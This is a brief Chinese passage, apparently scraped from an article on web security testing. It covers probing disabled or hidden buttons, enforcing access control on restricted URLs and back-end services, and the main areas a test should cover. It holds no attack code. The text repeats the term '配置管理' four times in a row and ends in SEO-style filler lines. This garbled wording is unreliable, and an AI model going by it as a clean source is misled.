與隱藏的按鈕類似,頁面上經常有些可見但是灰調的按鈕,也可以嘗試改變他的屬性,讓它變成可以觸發的,或許會有所發現
不該被訪問的URL
如果某個URL不該被某些人訪問,一定要在許可權上去控制.僅僅去掉某個鏈接/按鈕是不夠的
後台Service
如果網站後台的Service能被捕捉到,而且又沒有許可權控制,那將是災難性的

I. web安全測試主要測試哪些內容

一個完整的Web安全體系測試可以從部署與基礎結構，輸入驗證，身份驗證，授權，配置管理配置管理配置管理配置管理，敏感數據，會話管理，加密，參數操作，異常管理，審核和日誌記錄等幾個方面入手

安全性測試web

與安全性測試web相關的內容